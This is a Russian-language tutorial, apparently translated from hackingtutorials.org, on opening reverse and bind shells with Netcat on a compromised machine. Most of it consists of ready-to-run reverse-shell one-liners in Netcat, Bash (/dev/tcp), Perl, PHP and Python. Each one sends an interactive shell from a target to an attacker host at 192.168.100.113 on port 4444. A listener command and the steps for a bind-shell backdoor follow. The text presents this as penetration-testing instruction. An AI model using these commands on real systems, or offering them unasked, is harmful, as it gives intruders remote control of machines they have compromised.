Обнаружены новые методы атаки на компьютеры через netcat: часть 2
По материалам hackingtutorials.org
В первой части учебника «Взлом с помощью Netcat» даются самые основы Netcat. Теперь погрузимся глубже в наиболее популярные и распространенные способы использования Netcat: настройку прямого и обратного подключения (bind shell и reverse shell, соответственно). В этой части мы покажем разницу между прямым и обратным подключением и как это можно использовать. Довольно часто Netcat отсутствует в системах, поскольку может рассматриваться как потенциальная угроза безопасности. Как в таком случае использовать другие инструменты и языки программирования, кроме Netcat, которые заменят некоторые функции настройки обратного подключения. Отличными альтернативами являются такие языки программирования и написания скриптов, как Python, PHP, Perl и Bash. В завершении рассмотрим, как использовать схему прямого подключения.
Обратные подключения (Reverse Shell) в Netcat
Очень популярным и, вероятно, наиболее распространенным использованием Netcat с точки зрения тестирования на проникновение являются схемы прямого и обратного подключения. Обратное подключение (reverse shell) - это подключение, инициированное с целевого (атакуемого) компьютера на атакующее устройство, которое, в свою очередь, находится в состоянии прослушивания для установления этого соединения. Схема прямого подключения (bind shell) устанавливается на целевом компьютере и привязывается к определенному порту для прослушивания входящего соединения c атакующего устройства. Во вредоносном программном обеспечении схема bind shell часто упоминается как backdoor (тайный вход).
В следующих разделах будет продемонстрировано использование прямого и обратного подключения. На протяжении всего описания будет использоваться порт 4444, однако имейте в виду, что это может быть любой открытый порт. На самом деле для настройки обратного соединения вам чаще потребуется использовать такие более распространенные порты, как 80 и 443, так как они чаще всего открыты.
Настройка обратного подключения Netcat
Чтобы лучше понять, как работает обратное подключение Netcat, давайте посмотрим на визуализацию:
Разъяснение обратного подключения Netcat
В этом примере целевой компьютер устанавливает обратное подключение к атакующему устройству, используя порт 4444. Опция –e позволяет отправить Bash-оболочку обратно на атакующее устройство. Обратите внимание, что параметр –e также можно использовать с cmd.exe в Windows. Допустим, мы обнаружили на целевом компьютере уязвимость удаленного выполнения кода (RCE). После этого можно ввести команду Netcat с параметром –e на целевом компьютере и инициировать обратное подключение с Netcat для выдачи команд.
Давайте посмотрим, как это работает. Ниже приводится пример, в котором настроены две системы Linux с Netcat.
Пример обратного подключения Netcat
Для настройки обратного подключения Netcat потребуется выполнить следующие шаги:
- Настройте приемник Netcat.
- Подключитесь к приемнику Netcat с целевого компьютера.
- Выполните команды на целевом компьютере с атакующего устройства.
Сначала с помощью следующей команды настроим на атакующем устройстве приемник Netcat, который будет прослушивать порт 4444:
nc –lvp 4444
Затем для подключения к атакующему устройству запустим на целевом компьютере следующую команду (помните, что на атакующем устройстве имеется удаленное выполнение кода):
Для Linux:
nc 192.168.100.113 4444 –e /bin/bash
Для Windows:
nc.exe 192.168.100.113 4444 –e cmd.exe
Теперь на атакующем устройстве имеется bash-shell на целевой компьютер, а также полный контроль над этим устройством в контексте учетной записи, которая инициировала обратное подключение. В этом случае оболочку инициировал привилегированный пользователь, что означает наличие привилегий на целевом компьютере.
Пример обратного подключения Netcat
Верхнее окно с зеленым текстом - это целевой компьютер, а нижнее окно – это атакующее устройство. Как видно, имеется root-доступ злоумышленника 192.168.100.113 к целевому компьютеру 192.168.100.107.
Обратное подключение без Netcat на целевом компьютере
Одним из основных недостатков приведенного примера является то, что на целевом компьютере нужен Netcat. А в реальной жизни очень часто это не так. В некоторых случаях Netcat присутствует или имеется способ его установить, но во многих случаях нужно использовать альтернативные способы обратного подключения к атакующему устройству. Давайте рассмотрим несколько альтернативных способов настройки обратного подключения.
Обратное подключение Bash
Для запуска обратного подключения от целевого компьютера к атакующему устройству можно использовать Bash. Для этого предназначена следующая команда:
bash -i >& /dev/tcp/192.168.100.113/4444 0>&1
Пример обратного подключения Bash
Как можно видеть, Netcat на атакующем устройстве принимает обратное подключение bash.
Обратное подключение Perl
Если на удаленном компьютере присутствует Perl, то с его помощью также можно инициировать обратное подключение. Для настройки обратного подключения запустите на целевом компьютере следующую команду:
perl -e ‘use
Socket; $i=”192.168.100.113″; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”)); if(connect (S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”); open(STDOUT,”>&S”); open(STDERR,”>&S”); exec(“/bin/sh -i”);};’
Пример обратного подключения Perl
Обратное подключение PHP
Если на скомпрометированном компьютере имеется PHP, как часто бывает на веб-серверах, это является отличной альтернативой Netcat, Perl и Bash. Чтобы использовать PHP для обратного подключения к атакующему устройству, запустите следующий код:
php -r '$sock=fsockopen("192.168.100.113",4444); exec("/bin/sh -i <&3 >&3 2>&3");'
Как можно видеть, это обратное подключение также возвращает оболочку /bin/sh.
Пример обратного подключения PHP
Обратное подключение Python
Также очень часто на машинах с Linux установлен Python. Следующая команда запускает обратное подключение с использованием Python:
python -c ‘import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect
((“192.168.100.113”,4444)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([“/bin/sh”,”-i”]);’
Пример обратного подключения Python
Прямое подключение Netcat
Как уже упоминалось ранее, прямое подключение - это shell, которая привязывается к определенному порту на целевом компьютере для прослушивания входящих подключений. Давайте взглянем на схему прямого подключения Netcat:
Разъяснение прямого подключения Netcat
На этой схеме показано, что целевой компьютер привязывает Bash-shell к порту 4444, используя приемник Netcat. Злоумышленник подключается к этому порту с помощью простой команды Netcat. Шаги по настройке прямого подключения следующие:
- Привяжите bash-shell к порту 4444 с помощью Netcat.
- Подключитесь к целевому компьютеру с атакующего устройства через порт 4444.
- Выполните на целевом компьютере команды с атакующего устройства.
Пример прямого подключения Netcat
Посмотрим, как это выглядит в консоли:
Пример прямого подключения Netcat
Целевой компьютер привязывает Bash-shell к порту 4444, затем атакующий подключается к этому порту с помощью Netcat и получает доступ к корневой оболочке целевого компьютера.
Еще раз все кратко
Во второй части «Взлом с помощью Netcat» мы показали, что под обратным подключением понимается соединение, устанавливаемое от целевого компьютера к атакующему устройству. Для запуска обратного подключения не обязательно нужен Netcat - можно использовать PHP, Python, Perl, Bash и др. Кроме этого, мы показали, что прямое подключение привязывает службу к определенному порту на целевом компьютере, и позволяет прослушивать входящее соединение с атакующего устройства.
В третьей части учебника «Взлом с помощью Netcat» мы рассмотрим более продвинутые методы, такие как перенаправление трафика, piping Netcat и настройкe Netcat в качестве прокси.
Авторизуйтесь для этого